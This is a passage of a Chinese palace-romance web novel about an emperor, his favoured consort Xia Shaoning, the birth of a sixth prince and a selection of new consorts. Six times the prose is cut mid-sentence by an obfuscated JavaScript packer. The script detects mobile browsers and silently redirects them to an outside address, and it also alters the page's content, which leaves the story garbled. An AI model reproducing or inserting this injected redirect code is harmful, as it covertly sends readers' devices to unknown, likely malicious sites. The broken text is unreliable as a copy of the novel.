“圣上仁德!圣上仁德!大容有如此好的皇帝,简直是百姓之福啊!” 站在祭台上的萧祈安,看着眼前乌乌泱泱跪了一地的百姓,此时的心情不可谓不激动。 说实话,他原本真的没对今日的祭祀报什么期望的,只是想着有了今日的这番动作,也不至于让百姓对他失去信心。 可是就是这么巧,宁儿与他的孩子刚刚出生,这个最棘手的问题居然就这样迎刃而解了,他心中更是对这个素未谋面的孩子越发喜爱了起来。 “快起来,大家都快起来!”暂且将心中的激动按下,萧祈安急忙对着跪下的百姓摆了摆手,随后朗声道—— “六皇子降生,延绵一月的雨水终于停歇,朕心中欢喜得很!刚刚祭祀的时候朕说了,只要这雨停了,朕愿意减轻赋税!既然上天看到了朕的诚心,那朕便决定从下月起连续三年在如今赋税的基础上再减轻三成赋税!还望上天保佑我大容日后风调雨顺,再不受洪涝和干旱之苦!” “圣上圣明!圣上圣明!” *** 承乾宫。 因为生孩子实在耗费了太多的精气,等到萧祈安从京郊赶回来随意了擦洗一番再赶到夏韶宁床前的时候,夏韶宁已经沉沉地睡了一觉以后醒了过来。 她甫一睁眼,看见的就是满脸激动的萧祈安,正紧紧地握着她的手,只是她忽然觉得这双手真的很凉。 “陛下的手……怎么这么凉……”夏韶宁抬头看了看萧祈安那张这会儿不比她的脸色好多少的脸,哑着嗓子问道,“外头很凉吗?雨……停了吗?” “宁儿你终于醒了,朕没事儿!”眼见着夏韶宁终于醒了,刚刚还觉得有些疲惫的萧祈安瞬间露出了笑脸。 “雨停了!咱们的昀儿出生不到一个时辰雨就停了!且不仅停雨了,外头还出了好大的太阳!” 萧祈安一边说,一边对着蕙心使了个眼色。蕙心会意,将窗户推开了一些,一束耀眼的阳光就从窗户的缝隙中打了进来,刚好照到了夏韶宁那张还有些苍白的脸上。 “真的出太阳了!”夏韶宁伸出手来摸了摸自己的脸,感受到了那缕阳光从她的脸上转移到了她的手背上,她的心中也十分开心。 “陛下看过昀儿了吗?”夏韶宁抬起头来看了看萧祈安,眼角眉梢都带着初为人母的笑容,“臣妾只在他生出来的那一刻模模糊糊地瞧了一眼,也不知道他好不好看。” “咱们的昀儿可是祥瑞之子,连老百姓都说是六皇子的降生给他们带来了阳光和希望!怎能不好看?” 说到这里,辛夷刚好将六皇子从奶娘手里抱了过来。萧祈安见状,自然而然地就将六皇子接了过来。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15424182|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗯,上半部分像陛下,下半部分像臣妾,好看。” 夏韶宁细细端详着自己拼了命才生出的这个孩子,怎么看怎么觉得欢喜。 “宁儿辛苦了。”看着夏韶宁那张苍白的脸,萧祈安打心底里觉得心疼,也为着自己没有在她生产的时候陪在她身边感到一丝愧疚,“是朕不好,没有陪着你……” “没事的,结果是好的就好了,不是吗?”这会儿的夏韶宁根本不介意萧祈安没能陪她生产,在她看来,没什么事情能比她能平平安安地生下自己的孩子还要重要了。 接下来的好几天,萧祈安甚至让张全和将奏折都搬到了承乾宫。夏韶宁在内殿坐月子,他就在外殿守着她,顺带处理一些公务。 六皇子出生三天后,萧祈安命殿中省给他举行了一场十分隆重的洗三宴。洗三宴结束以后,萧祈安便给六皇子定下了早就取好的名字,上了皇室玉牒。 此时这个出生三天的小人,也拥有了他自己独有的身份。 他是大容国光启帝的第六子,萧衡昀。 虽然萧祈安很舍不得离开夏韶宁和刚刚出生的昀儿,但是因为这雨断断续续下了将近一个月,如今雨停放晴,自然有许多积压的公务要处理。 所以六皇子的洗三宴刚过,萧祈安还是搬回了紫宸殿,继续处理那些繁复的公务。 夏韶宁一点都不在乎这些事情,反正如今她身边有辛夷和四个贴身宫女日夜照顾,自己给昀儿挑的四个奶娘也一个比一个奶量多,两母子正好能暂时远离后宫里那些是是非非,舒舒服服地窝在承乾宫坐月子。 六皇子出生半月后,正好是苏修媛和谢充媛来承乾宫向夏韶宁汇报六宫事务的日子。 “娘娘,苏修媛和谢充媛来了。”蕙心入了内殿,低下头向夏韶宁禀报。 “嗯,请进来吧。” 修养了半个月的夏韶宁如今的精气神已经恢复了许多了,所以听得两人来了,便直接让蕙心将她们请进来了。 刚好,她也有些事情想和两人说。 第208章 阵营 苏修媛与谢充媛得了蕙心的邀请便小心翼翼地入了内殿。 两人进来的时候,奶娘刚给六皇子喂完了奶,夏韶宁正低着头拿着个小拨浪鼓哄着六皇子玩。 “坐吧。”夏韶宁抬起头看了两人一眼,脸上带着一丝初为人母的温柔,“其实你们二人做事本宫放心得很,倒是不用隔半个月都来汇报一次的。” “臣妾不敢。”听得夏韶宁的话,刚刚坐下的苏修媛立刻从椅子上站了起来,“无论如何,这后宫里的事情始终是娘娘说了算的,臣妾们万万不敢逾矩。” “行吧,本宫知道你的脾气。你先说吧,等你把事情汇报完了,本宫还有些其他的事情要同你们两人说。” 夏韶宁没有继续同苏修媛纠结这些事,说完这句话她便靠回了床上,等着听苏修媛汇报这半月后宫里的事情。 于是接下来半个时辰,苏修媛与谢充媛便轮流向夏韶宁开始汇报这半月来后宫的发生的大事小事,以及后宫里一些重要的出入项。 夏韶宁手中翻着谢充媛递过来的后宫开支的册子,发现她居然还十分细心地将一些有问题的小项目标了出来,后头甚至还写了注释。 “很好,本宫这里没问题了。”夏韶宁认真听完了两人的汇报,又看完了一些册子,便十分赞赏地对着两人点了点头。 “娘娘,臣妾这儿还有件事,不知当讲不当讲。”主要的事情已经说完了,苏修媛在心中纠结了好一会儿,还是对着夏韶宁开口了。 “你是不是要说,本宫生昀儿那天贤妃在承乾宫外头**的事儿?”瞧见苏修媛一脸纠结的样子,夏韶宁边立刻明白她要说什么了。 其实这件事情早在她生产完的第二天兰芷就一五一十地告诉她了,只是她并没有当做一回事罢了。 “其实圣上离宫那日并没有交代臣妾要守着娘娘的承乾宫,实在是那日情况紧急,臣妾又瞧见谢充媛在贤妃娘娘那儿吃了瘪,于是情急之下才说了个谎。” “臣妾害怕等贤妃娘娘后面反应过来了,会借此事情为由头去向圣上告状,到时候臣妾可就……” 说到这里,苏修媛便不再说话了。 “说起来实在是臣妾的脑子不灵光,若是当时臣妾能想出哪怕一句话将贤妃娘娘的话堵回去,苏修媛便不用说这个谎了。” 听得苏修媛这会儿主动向夏韶宁解释这件事情,谢充媛心中总是有些愧疚。 回想起那天若不是苏修媛及时赶到,就按照贤妃那个性子,一个巴掌她是如何都躲不掉了。 “都是小事,不必放在心上。”看着眼前这两人一副忧心的样子,夏韶宁只是毫不在意地朝着两人摆了摆手。 “那一日本就是她理亏,她哪里还有胆子去圣上面上说那些有的没的。若是她想要去告状,早半月前就去了,何至于到现在都没有行动?” 与萧祈安的这几个女人相处了这些年,夏韶宁其实早就已经将这几个人的性格摸得透透的了。 确实不安分的那几个人早在潜邸的时候就已经被萧祈安处理了。剩下这几个能顺顺利利跟着进宫的,虽然各自心中难免有些无法宣之于口的小心思,但是若是真的论起心狠手辣的,还真的数不出来一个。 “我与你们说明了吧,唐贤妃自从当年云锦那件事情以后,说白了就是个纸老虎了。如今她不过也就占了个大皇子母妃的名头,圣上还肯给她一点脸面。她若是还要在背后搞些有的没的,这点脸面怕是哪天都该没了。” 面对眼前这两人,夏韶宁丝毫不避讳自己对于唐贤妃的厌恶。 反正早在潜邸时就是撕破脸皮的了,也没必要谈什么虚伪的姐妹情深了。 果然,听得贵妃娘娘这番安慰,刚刚还面色苍白的两人忽然就肉眼可见地放松了下来。 “娘娘既然这么说,臣妾就放心了。”苏修媛对着夏韶宁福了福身子,顿了一会儿,忽然又想起一件事情。 “娘娘还有半个来月就出月子了,到时候可就是九月初了,算一算时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15424183|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,应当还有不到半月就该选秀了。” “这后宫里有些人早就对臣妾与谢充媛手握着这协理六宫的权利不满了,既然恰逢选秀这般大事,臣妾与谢充媛想着,倒不如就趁着这个机会将这协理六宫的权利交还给娘娘……” 说到这里,苏修媛便与谢充媛偷偷对视了一眼,两人都微不可闻地对着彼此点了点头。 “嗯?看起来这是你们两人商量好的?”听得苏修媛的话,夏韶宁不自觉地将目光投到了对面两人的身上,却见二人神色坦然,一看就是早就说好了的。 “是,不瞒娘娘说,苏修媛的家世与位分倒是配得上这协理六宫的权利。只是臣妾……到底让人瞧着有些名不正言不顺了。” 当初圣上赐下协理六宫的权利给她的时候,谢充媛就没想过要把着这个权利不撒手。 她最大的愿望就是希望圣上通过这件事情能念着她哪怕一点好,能给她升一升位分就不错了。 “那看来咱们三人倒是心意相通了。”夏韶宁并没有接着谢充媛的话说下去,她顿了一会儿,忽然就笑了。 “圣上一天没有收回你们手里协理六宫的权利,你们就一天别想躲懒,好好收着属于你们的权利。本宫这还坐月子呢,难不成你们二人就忍心看着本宫拖着这具刚生完孩子的身子去操心后宫那些繁琐的事儿了?” 夏韶宁说这话的时候声音并不大,只是语气却是少见的认真。 她盯着面前的两人看了好大一会儿,忽然伸出双手一人一只拉过了两人的手。 “眼瞅着又要选秀了,到时候选进宫来的那些女人,脾气秉性咱们都一概不知。既然如今二位明面上已经同本宫站在一条战线上了,那为何不继续同本宫站在一块儿呢?” “不管从前咱们之间有些什么矛盾或者是误会,本宫都希望从今日开始一切都作废。本宫一直觉得二位是这后宫里难得的通透之人,那咱们日后就继续如之前那样好好相处着,二位觉得可好?” 第209章 反正结果都一样 等到夏韶宁舒舒服服地坐完了月子以后,已经是九月初了。 因着这一个月里有着辛夷和贴身宫女们的细心照顾,出了月子以后夏韶宁就发现自己足足胖了一圈。 当她第三次站在铜镜前试图穿上她怀孕前的衣裳,可是却又一次失败以后,她便彻底放弃了这般“自虐”的行为。 几个贴身宫女看着自家娘娘那皱成包子一样的脸,都忍不住捂着嘴偷偷笑了。 “可惜这些衣裳了,都还挺新的呢。”夏韶宁看着被她翻出的一堆衣裳,轻轻地叹了一口气。 “几件衣裳罢了,让尚衣局重新给你做几身便是了,叹个什么气。” 夏韶宁正收拾衣裳,便听见身后传来了一阵熟悉的声音。她一回头,果然瞧见萧祈安从外头走了进来。 “衣裳小了是衣裳的错,不是你的错。” “陛下的嘴是越发甜了!”虽然知道萧祈安这话是胡乱说说安慰自己的,但是听得夏韶宁的耳朵里她还是十分高兴。 哪个女人不喜欢听好听的话呢?当然,不管这个说好听话的人是自己的丈夫还是别人。 “这还没到晌午呢,陛下怎么有空来臣妾这儿?” 夏韶宁放下手中的衣裳往外头看了看,估摸着萧祈安这是下了大朝会便直接就到她宫里来了。 “朕好几日没瞧见昀儿了,想来看看他。” 他的话一出口,便见六皇子的奶娘极有眼色地将六皇子抱了出来。 “嗯,重了不少。”萧祈安从奶娘手中接过六皇子,只稍稍掂了掂,便觉得这孩子比前几日又重了些。 “这孩子也不知像了谁了,喝起奶来那叫一个厉害。臣妾给他准备了四个奶娘,这每日才能堪堪满足他的需要。” 夏韶宁俯下身子轻轻碰了碰六皇子的小脸,便瞧见闭着眼睡得香甜的六皇子忽然就笑了起来。 “能吃是福,咱们昀儿是个有福的孩子。不像沈婕妤生的那两个孩子,如今都快两岁了,走路都还走不利索。” 一说到四皇子和五皇子,萧祈安的语气都变得不好了起来。 说起来这两兄弟也算是命大,这一年多经历了不知多少次差点就要没了命的重病,还真给沈婕妤照顾回来了。 一直到这两个孩子过了周岁,萧祈安瞧见他们大概是能立得住了,这才给这两兄弟取了名字,上了皇家玉牒。 四皇子叫萧衡康,五皇子叫萧衡茂。还别说,这名字起得还真是够简单直白的。 “陛下看昀儿就看昀儿,说别人做什么。一会儿昀儿听了,还以为他的父皇不疼他呢!” 夏韶宁不太想就这个话题继续同萧祈安谈论下去了,所以便直接将话题转移了。 “这不是你打岔,朕差点把今天来这儿寻你的目的给忘了。” 萧祈安转过身来将六皇子小心翼翼地递给了奶娘,又对一旁伺候的宫女内侍们摆了摆手,不一会儿,殿内伺候的人便都退了下去。 “前几天母又叫朕去永寿宫说话了。” 说起太后,萧祈安的脸上一如既往满满的都是不耐烦。 “让臣妾猜一猜太后娘娘同陛下说什么了。”看着萧祈安还想继续说下去,夏韶宁急忙抬起手来打断了他。 “是不是……和半月后的选秀有关?” “朕有的时候真的有些不明白,母后的脑袋里每日都在想些什么?你说她都历经了两朝,也都到了这个年纪了,难道不应该好好安享晚年了吗?为何她整日光想着插手朕后宫里的这点事儿呢?” 说到这里,萧祈安的眉头皱得更紧了。 “她前两日把朕叫去永寿宫,话里话外还是觉得朕膝下的孩子太少了,朕说朕如今都已经有了六个儿子了,哪里孩子太少了?她又扯到朕不立皇后的事情上去了。” “所以陛下妥协了,这次大选是准备要立皇后了?” 这厢的夏韶宁可没心思听萧祈安抱怨他们两母子那些乱七八糟的恩恩怨怨,她这会儿的注意力全都在“立皇后”这三个字上。 “不立,立了皇后是非多,朕不想立。” 听得夏韶宁这句话,萧祈安立刻摆手表示拒绝。 “朕可太怕再出一个和秦皇后或者叶贵妃那样的人了。如今有宁儿帮朕管着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427690|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这后宫,朕放心着呢!” 萧祈安说这话的时候,语气又变回了从前还是显庆朝六皇子时的那般玩世不恭。夏韶宁一时之间倒是弄不清楚他这话里到底有几分真几分假。 “陛下就可着臣妾累吧,反正臣妾会找帮手!” 听得萧祈安一幅开玩笑的语气,夏韶宁说话便也带了些撒娇的意味。 “苏修媛和谢充媛这一年来帮着臣妾管理后宫,没有功劳也有苦劳。陛下身边这马上要来新人了,她们两的位份……是不是也该升一升了?” 既然顺嘴提到了苏修媛和谢充媛,夏韶宁也不忘给萧祈安上一上眼药。毕竟是她将她们两人拉到自己阵营的,若是不给人家一点甜头尝一尝,人家如何能够心甘情愿地待在你的身边真心替你办事呢? “嗯,等新人入宫确定位份的时候,就一并将她们两的位份也提一提吧。” 出乎夏韶宁的意外,听得她的请求,萧祈安居然什么异议都没有直接就答应了下来。 “还有半月就是初选的日子了,到时候还得辛苦宁儿了。你若是觉得苏修媛和谢充媛可靠,让她们帮着点你也行。” “只不过朕这儿有三个人是必定要入宫的,所以今日来这儿同宁儿透个底。” 萧祈安一边说,一边从腰间抽出了一张纸,铺在了桌子上。 夏韶宁有些疑惑地往那张纸上看去,只一眼,忽然就怔住了。 “陛下果然还是让傅姑娘入宫了。” 夏韶宁看着纸上的“傅鸣玉”三个字,瞬间觉得有些可笑。 说起来倒不是夏韶宁知道傅鸣玉要进宫就吃醋或是什么的,只是如今她只要一看到傅鸣玉的名字,就总是会想起那一次萧祈安在她面前信誓旦旦地同自己说,他与这个傅姑娘什么关系都没有。 可是如今呢?萧祈安当上皇帝不过才一年,这就着急忙慌地让人家入宫了。打脸真的不要来得太快啊! 果然啊,这些年来不对这个男人付出真心,真是她做的最明智的决定了。 毕竟那句话怎么说的来着? ——反正结果都一样。 第210章 只能接受 “昭贵妃,慎言。” 萧祈安拿出那张纸之后就一直在观察夏韶宁的脸色,猛然听得她居然说出了这番话,他面上立刻浮现出了一丝十分不悦的神情。 “傅将军与傅姑娘这些年来驻守越州,替大容一次又一次打退了南豫的那群蛮子,又在朕登上皇位的这件事情出力最多。这么多年了,傅将军只就向朕提过这一个要求,希望他这唯一的女儿能入宫来。这么一个小小的请求,难道朕不答应吗?” 萧祈安这话说得严肃,说到最后居然扯到了国家层面上了。夏韶宁又听萧祈安谈到这件事情上,连对她的称呼都改了,她忽然就明白这本就是一件板上钉钉的事情。 包括纸上的另外两位女子,一位是大容正一品丞相燕川燕大人的嫡女燕筝,还有一位是正四品黄门侍郎范连溪范大人的庶女范锦。再加上正二品车骑将军傅赟傅将军的嫡女傅鸣玉,这三位女子的母家无一例外都是忠实的“保皇党”。 萧祈安是打定主意非要让她们进宫不可的,毕竟夏韶宁也明白,这前朝与后宫,从来就不是独立存在的两个个体。 “是,臣妾失言。”看着萧祈安满脸严肃的神情,夏韶宁忽然就觉得眼前的一切变得索然无味起来。 她当然害怕这三位家世都在自己之上的女子入了宫来会影响自己的地位,但是皇帝决定了的事情,哪里是她能改变的呢? 她只能接受。 “朕知道你在忧心什么,只是你大可不必这样。只要朕坐在这龙椅上一天,就不会允许有人的地位超过你,你尽可以放心。” 看着夏韶宁脸上那副欲言又止的模样,萧祈安哪里有不明白的。 这三位贵女是必定要入宫的,但是位份高低这种事情,说到底还是他这个皇帝说了算的。 “臣妾有些累了,陛下请便吧。” 虽然萧祈安已经将话说到这个份上了,但是夏韶宁的心里始终还是不舒服。 那种感觉怎么形容呢?虽然无关爱情,但是她总觉得自己之前所有的付出忽然就像个笑话。 就好像你陪着一个人从微时走到了最高位,等到那个人有了权利以后,却很随意地将其他人也提到了和你差不多的位置。 你付出了那么多,而她人的成功似乎却毫不费力。 这厢的萧祈安根本不明白夏韶宁好端端为什么态度就变得如此冷淡了,在他看来,他一个君王能对她能做到如今这个地步,已经很不错了。 再加上前段时间一直处理之前大雨之后的遗留问题,萧祈安已经好几个晚上都没睡过一个好觉了。本来今日来承乾宫是想在这里好好休息一番的,谁知道这丫头张嘴就让他“请便”,萧祈安的火气也“腾”的一下冒了起来! “欲戴皇冠,必受其重的道理朕希望你明白。你如今已经是大容的贵妃了,有些脾气性格应当也要收一收。” “既然你不想看见朕,朕走就是。刚好留你一个人好好想一想,等到新人入宫以后你要如何与她们好好相处。” 萧祈安别过头来,留下这句话后便转身离开了。 “嘱咐奶娘看好昀儿,我进去躺一会儿。” 面对萧祈安的离开,夏韶宁没有任何其他的反应,她只是忽然觉得有些累。 她需要好好休息一下。 夏韶宁这一觉就睡到了申时正,还是被小孩子说话的声音给吵醒的。 “母妃,弟弟怎么不说话啊!他是不是不喜欢我啊?” “母妃,我回宫去把我最喜欢吃的酥心糖拿给弟弟吃好不好?” “母妃,等弟弟长大了,我要带他去御花园**玩!” …… 小女孩的童声童语瞬间将夏韶宁心中的疲惫给驱散了,她没有声张,只是独自起身穿好了衣裳和鞋子,便往外殿走去。 刚一走到外殿,便瞧见谢充媛正带着二公主围在六皇子的小摇篮前,二公主正趴在摇篮前认认真真地看着六皇子。 “娘娘醒了?是不是臣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427691|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妾和皎皎吵着您了?” 谢充媛一抬头,就瞧见夏韶宁散着头发站在门边看着她们母女俩,忙要拉着二公主给她请安。 “皎皎乖,到昭母妃这里来。”谁知夏韶宁只是对着她摆了摆手,随即蹲下身来对着二公主笑道,“昭母妃很久没见你了。” 二公主见昭母妃对她招手,便兴高采烈地从椅子上爬了下来,朝着夏韶宁小跑了过去。 “贤妃娘娘总对大哥和我说,不许我们同昭母妃还有六弟走得太近。皎皎不想给母妃还有昭母妃惹麻烦,所以一直就不敢来。” “怎么回事?”听得二公主这没头没尾的话,夏韶宁转头询问站在一旁的谢充媛,“唐贤妃又给你们母女两气受了?” “娘娘别着急,其实也没什么,臣妾都习惯了。”说起与自己同住在华清宫,还是自己主位的贤妃,谢充媛面上便露出了一丝无可奈何的神情。 “贤妃娘娘自从得知了臣妾与苏修媛要帮着娘娘操办大选之事以后,就总是时不时地旁敲侧击想要从我们这里打听有哪些人家的女子会入宫。” “苏修媛向来对人冷淡,话也不多,贤妃娘娘从她那里问不出什么,回了华清宫就总爱找臣妾的麻烦。” “然后又总是在皎皎面前挑拨臣妾与您的关系,所以……” 说到这里,谢充媛便不出声了。 “你别理她,等后头新人入宫定住处的时候,本宫给你换个地方住。” 听得又是唐贤妃在里头作妖,夏韶宁没来由地觉得有些心烦。 “她喜欢作就让她作,到时候那几个身份比她高多了的贵女进宫,本宫看她还能怎么作!” “娘娘……这是知道有哪些家的女子要入宫了?” 谢充媛敏锐地从夏韶宁的话里得出了一个重要的信息,那就是这一次选秀入宫的女子,家世一定不会差。 “嗯,这大容后宫的天儿,怕是要变了。不过无事,本宫如今尚且能应付得过来。” 第211章 大选开始 大容的大选一般分为三个阶段,分别是初选,复选和最后的殿选。 初选由殿中省里一些有资历的老嬷嬷进行,基本上就是筛除掉一些身体有缺陷的、身上有明显疤痕、有体味的或者反应不够灵敏的女子。 这番筛选下来,留下的女子则顺利进入到复选中。 而复选,就由夏韶宁带着苏修媛和谢充媛一道进行。 除了萧祈安一开始就说好必定要入选的那三位贵女,夏韶宁带着苏修媛和谢充媛又挑出了十几位容貌举止都不错的女子,进入到了最后的殿选。 殿选一般在体元殿举行,因为是最后一关了,所以这一次是由圣上和太后亲自挑选。 苏修媛和谢充媛是没有资格参与到殿选中的,就连夏韶宁这个贵妃,也只能当一个旁观者。 九月二十,天朗气清,是个适合殿选的好日子。 因为是这一次大选是光启朝举办的第一次选秀,所以萧祈安显得十分的重视。 他今日穿了一身明黄色的朝服,面目严肃地坐在体元殿上首,太后坐在他的身旁,夏韶宁则坐在他们两人下首一点儿的位置。 这一次入了殿选的女子共二十人,先是由内侍和嬷嬷带领着在外头的院子里等候着,四人一组,念到名字的便有序排着队进入到体元殿,由圣上和太后亲自过目挑选。 也许是怕显得太过刻意,第一组进来的秀女中倒是没有那三位贵女。只是其中一名容貌明显在其他秀女之上的女子,倒是引起了太后的注意。 “圣上,这女子容貌过盛可不是一件好事儿啊!” 太后这话虽然是对着萧祈安说的,但是她的目光却有意无意地在坐在下首的夏韶宁身上扫来扫去。夏韶宁心中冷笑一声,想着太后这话也不知道是在点谁呢! 而眼前的萧祈安却好似没有听到太后的话一般,盯着那名容貌绝色的女子看了好一会儿,才对着她出声道,“你是哪家的女子?” 那名女子一开始听得太后说的话,显然有些吓着了。又听得圣上居然点了自己的名,这会儿说话的声音都有些抖。 “给陛下请安,给太后娘娘、昭贵妃娘娘请安!臣女孟南汐,家父……家父是正六品秘书郎孟珂。” 虽然有些怕,但是她还是口齿清楚自报了家门。 听得她的话,萧祈安便没再说什么,只是对着站在一旁的张全和微微的点了点头。 “正六品秘书郎孟珂嫡女孟南汐,留牌子!” 夏韶宁有些好笑地看了一眼坐在萧祈安身边的太后,见她虽然仍旧保持着一贯的端庄举止坐在位置上,但是她那紧握着帕子的手却出卖了她。 她很生气萧祈安没有听她的话。 萧祈安这人本就是个不喜欢按套路出牌的人,这孟南汐虽然貌美,只是看着却是个胆小的。若不是太后特意点了那一句,萧祈安未必会将她留下来。 留下了孟南汐,剩下的几个女子也就没有合适的了,萧祈安便都让赐花退下了。 接下来两组人,萧祈安与太后又分别挑选了两人入选,分别是正七品四门博士何严嫡女何清影以及青州知事林绍嫡女林意浓。 这两名女子家世并不高,看起来也都是温婉乖顺的类型。 难得的是萧祈安和太后对这两人也都很满意。 所以也就都留了牌子。 第四组人上来的时候,夏韶宁明显看见萧祈安的神色变了,她一抬头,果然瞧见傅鸣玉就在其中。 “一晃这么多年不见,傅姑娘出落得更加亭亭玉立了,这些年过得可好?” 萧祈安内定的那三人,太后也早就知道了。只是这会儿瞧见许多年没见的傅鸣玉,太后这才惊觉一晃都过去这么多年了。 “劳太后娘娘惦记,臣女这些年过得挺好的。” 说这话的时候,傅鸣玉的目光一直没有离开萧祈安。夏韶宁就那样凝视着她的眼神,打量着她的表情,忽然才发现自己好像从来没有用这种眼神这种表情望向过萧祈安。 那是一双饱含深情的眼睛,那双眼睛里明明白白写着两个字——欢喜。 这傅鸣玉,怕是比她之前所能想到的还要深爱着萧祈安。 “过得再好,哪有在圣上身边好。”见萧祈安一直不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15434153|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话,太后直接就排了板,“入宫来陪着圣上吧!” “正二品车骑将军嫡女傅鸣玉,留牌子!” 从傅鸣玉入殿到最后被留牌子,萧祈安始终一声不吭,但是他的眼睛却并没有离开过傅鸣玉半分。 夏韶宁有些看不懂萧祈安这般举动到底是为了什么。明明就是他让人家入宫的,这会儿又摆了张好像十分为难的脸,给谁看呢? 只不过夏韶宁也没有纠结太久,因为第四组女子退下去之后,最后一组女子也立刻入了殿来。 其中就有丞相燕川的嫡女燕筝,和黄门侍郎的庶女范锦。 “燕大人早就同朕说过,他这女儿年纪虽然不大,但是那端庄的样子倒是显得老成。朕今日一看,果然如此。” 这会儿对着燕筝,萧祈安倒是有心思对着她开起玩笑来了。 夏韶宁本以为一般女子听得这话定会脸红,谁知道面前的燕筝听得萧祈安的话,却只是浅浅地笑了。 “父亲对臣女自小教导的严,臣女这才养成了这般性格。若是陛下不喜欢,臣女以后改了便是。” 她说这话的时候,整个人都是那般落落大方的样子。不知为何,夏韶宁却好像在她身上看到了一丝从前孝端皇后的影子? “每个人都有每个人的性格,朕瞧着你如今这般就很好,不必改什么。”听得燕筝这番有些俏皮的话,萧祈安便对着她摆了摆手,随后张全和便立刻唱和道,“正一品丞相燕川嫡女燕筝,留牌子!” 眼见着燕筝被留了牌子,就站在她身边的范锦便也不甘示弱地跪下身来对着众人行礼了。 “臣女正四品黄门侍郎范连溪之女范锦给陛下、太后娘娘、昭贵妃娘娘请安。恭祝陛下心想事成,太后娘娘福寿安康,昭贵妃娘娘永葆美丽!” “你这丫头嘴倒是甜。”太后低下头来打量了一番跪在地上的范锦,见她姿色虽然并不出众,但是言谈举止倒是十分得体。再加上这嘴巴又甜,瞧着到像个天真不爱惹事的,于是便十分满意地点了点头。 “正四品黄门侍郎范连溪庶女范锦,留牌子!” 第212章 拿捏他的心 殿选结束以后,被留牌子的秀女要回到本家,由宫里派出教导嬷嬷分别去到各家秀女的母家对她们进行为期半月左右的礼仪教导。待礼仪嬷嬷考核合格后,她们方可进宫受封为真正的宫妃。 于是,因为选秀已经热闹了十来天的大容皇宫,暂时又安静了下来。 说起来,自从上次因着傅鸣玉进宫的事情,夏韶宁与萧祈安闹得不欢而散。在那以后,萧祈安就没再去过夏韶宁的承乾宫了。 夏韶宁压根不觉得自己有什么错,她只觉得是萧祈安自己心里有鬼,所以他不来,自己也不去找他。 好几次张全和来承乾宫传旨说圣上要见六皇子,夏韶宁甚至反手就让奶娘抱着昀儿往紫宸殿去了。 反正她就是主打一个你要看儿子你就看,但是老娘就是不去找你。 反复几次这般操作以后,萧祈安都被她给气笑了。 “你这母妃真的是,从跟在朕身边开始就爱耍小脾气,这都做母亲的人了,还是这样。” 萧祈安抱着刚刚被奶娘从承乾宫抱到紫宸殿的六皇子,脸上写满了无可奈何。 “你们娘娘这段时间在宫里都做些什么呢?怎么都不大见她出门了?” 萧祈安抱了一会儿六皇子,就将孩子交还给了奶娘,转头询问一旁跟着一道来的蕙心。 “回陛下的话,前几日太后娘娘召见了贵妃娘娘,责怪娘娘身为贵妃对于选秀后的后续问题一点儿都不上心,让娘娘这几日就要把新秀们的住处以及进宫以后服侍的宫人还有其他事情都处理好。” “为了完成太后娘娘下的任务,我们娘娘这几日忙得昏天黑地的,有时候连膳都顾不上用,更别说出门了。” 听得萧祈安的问话,蕙心便仔仔细细将夏韶宁这两日做的事情一股脑地都说了出来。 当然其中还是有那么点夸大的成分的,比如用膳这种事情夏韶宁当然是不会不用的。毕竟她一直信奉天大地大,吃饭和睡觉最大。 